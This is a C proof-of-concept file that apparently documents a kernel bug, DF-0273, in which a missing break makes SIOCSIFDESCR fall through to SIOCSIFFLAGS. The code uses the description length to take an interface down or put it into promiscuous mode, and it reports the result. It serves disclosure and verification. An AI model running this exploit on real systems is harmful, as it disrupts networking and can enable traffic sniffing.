DF-0273 / descr_fallthrough.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 | /* * DF-0273 PoC: SIOCSIFDESCR missing break -> fallthrough to SIOCSIFFLAGS. * * sys/net/if.c case SIOCSIFDESCR (line 2100) ends at line 2132 with * kfree(odescrbuf, M_IFDESCR); * and NO break before "case SIOCSIFFLAGS:" at line 2134. The fall-through * reinterprets ifr_buffer.length (which aliases ifr_flags via the ifr_ifru * union, if.h:259-261) as the new interface flags. * * Demonstration (privileged ioctl, PR:H): create a tap iface, bring it UP, * then issue SIOCSIFDESCR with a description whose length==2. Because * ifr_flags aliases the low 16 bits of ifr_buffer.length, new_flags==2 * (IFF_BROADCAST) which clears IFF_UP -> interface goes DOWN. * * Build: cc -o descr_fallthrough descr_fallthrough.c * Run: ./descr_fallthrough (as root) */ #include <sys/ioctl.h> #include <sys/socket.h> #include <net/if.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> static void print_flags(short f) { printf(" flags=0x%x <%s%s%s%s%s%s%s%s>\n", (unsigned)f, (f & IFF_UP) ? "UP," : "", (f & IFF_BROADCAST) ? "BROADCAST," : "", (f & IFF_DEBUG) ? "DEBUG," : "", (f & IFF_LOOPBACK) ? "LOOPBACK," : "", (f & IFF_RUNNING) ? "RUNNING," : "", (f & IFF_PROMISC) ? "PROMISC," : "", (f & IFF_MULTICAST) ? "MULTICAST," : "", (f & IFF_PPROMISC) ? "PPROMISC," : ""); } static short get_flags(int s, const char *ifname) { struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strlcpy(ifr.ifr_name, ifname, sizeof(ifr.ifr_name)); if (ioctl(s, SIOCGIFFLAGS, &ifr) < 0) { perror("SIOCGIFFLAGS"); return -1; } return ifr.ifr_flags; } int main(void) { int s; struct ifreq ifr; const char *ifname = "tap9"; short before, after; s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { perror("socket"); return 2; } /* create a throw-away tap interface */ memset(&ifr, 0, sizeof(ifr)); strlcpy(ifr.ifr_name, ifname, sizeof(ifr.ifr_name)); if (ioctl(s, SIOCIFCREATE, &ifr) < 0 && errno != EEXIST) { perror("SIOCIFCREATE (tap9)"); /* fall back to lo0 which is safe to read but we won't bring down */ ifname = "lo0"; } strlcpy(ifr.ifr_name, ifname, sizeof(ifr.ifr_name)); /* bring it UP */ ifr.ifr_flags = IFF_UP | IFF_RUNNING; if (ioctl(s, SIOCSIFFLAGS, &ifr) < 0) perror("SIOCSIFFLAGS UP (nonfatal)"); before = get_flags(s, ifname); printf("[*] %s flags BEFORE SIOCSIFDESCR:\n", ifname); print_flags(before); /* * Now issue SIOCSIFDESCR with description "a" (length 2 incl nul). * ifconfig would do this for: ifconfig <iface> description a * Due to the missing break, this falls through to SIOCSIFFLAGS, * reinterpreting length(==2) as flags -> IFF_UP cleared. */ memset(&ifr, 0, sizeof(ifr)); strlcpy(ifr.ifr_name, ifname, sizeof(ifr.ifr_name)); ifr.ifr_buffer.length = 2; /* "a\0" */ ifr.ifr_buffer.buffer = "a"; if (ioctl(s, SIOCSIFDESCR, &ifr) < 0) perror("SIOCSIFDESCR"); after = get_flags(s, ifname); printf("[*] %s flags AFTER SIOCSIFDESCR(len=2):\n", ifname); print_flags(after); if ((before & IFF_UP) && !(after & IFF_UP)) { printf("\n[!] DF-0273 REPRODUCED: IFF_UP cleared by setting a " "description (fall-through SIOCSIFDESCR -> SIOCSIFFLAGS).\n"); printf("[!] new_flags was driven by ifr_buffer.length==2 " "(IFF_BROADCAST), bypassing the SIOCSIFFLAGS intent.\n"); } else if (before == after) { printf("\n[-] flags unchanged; fall-through did not alter state " "(may be fixed).\n"); } else { printf("\n[!] flags CHANGED by SIOCSIFDESCR (before=0x%x " "after=0x%x) -- fall-through confirmed.\n", (unsigned)before, (unsigned)after); } /* demonstrate controlled flag setting: length==0x100 (256) -> IFF_PROMISC */ memset(&ifr, 0, sizeof(ifr)); strlcpy(ifr.ifr_name, ifname, sizeof(ifr.ifr_name)); /* build a 256-byte description buffer */ char big[256]; memset(big, 'x', 255); big[255] = 0; ifr.ifr_buffer.length = 256; /* aliases ifr_flags = 0x100 = IFF_PROMISC */ ifr.ifr_buffer.buffer = big; if (ioctl(s, SIOCSIFDESCR, &ifr) < 0) perror("SIOCSIFDESCR big"); short after2 = get_flags(s, ifname); printf("[*] %s flags AFTER SIOCSIFDESCR(len=256):\n", ifname); print_flags(after2); if (after2 & IFF_PROMISC) printf("[!] length==256 -> IFF_PROMISC set via description ioctl. " "Attacker-controlled flag injection confirmed.\n"); /* cleanup: destroy tap */ if (strcmp(ifname, "tap9") == 0) { memset(&ifr, 0, sizeof(ifr)); strlcpy(ifr.ifr_name, ifname, sizeof(ifr.ifr_name)); ioctl(s, SIOCIFDESTROY, &ifr); } close(s); return 0; } |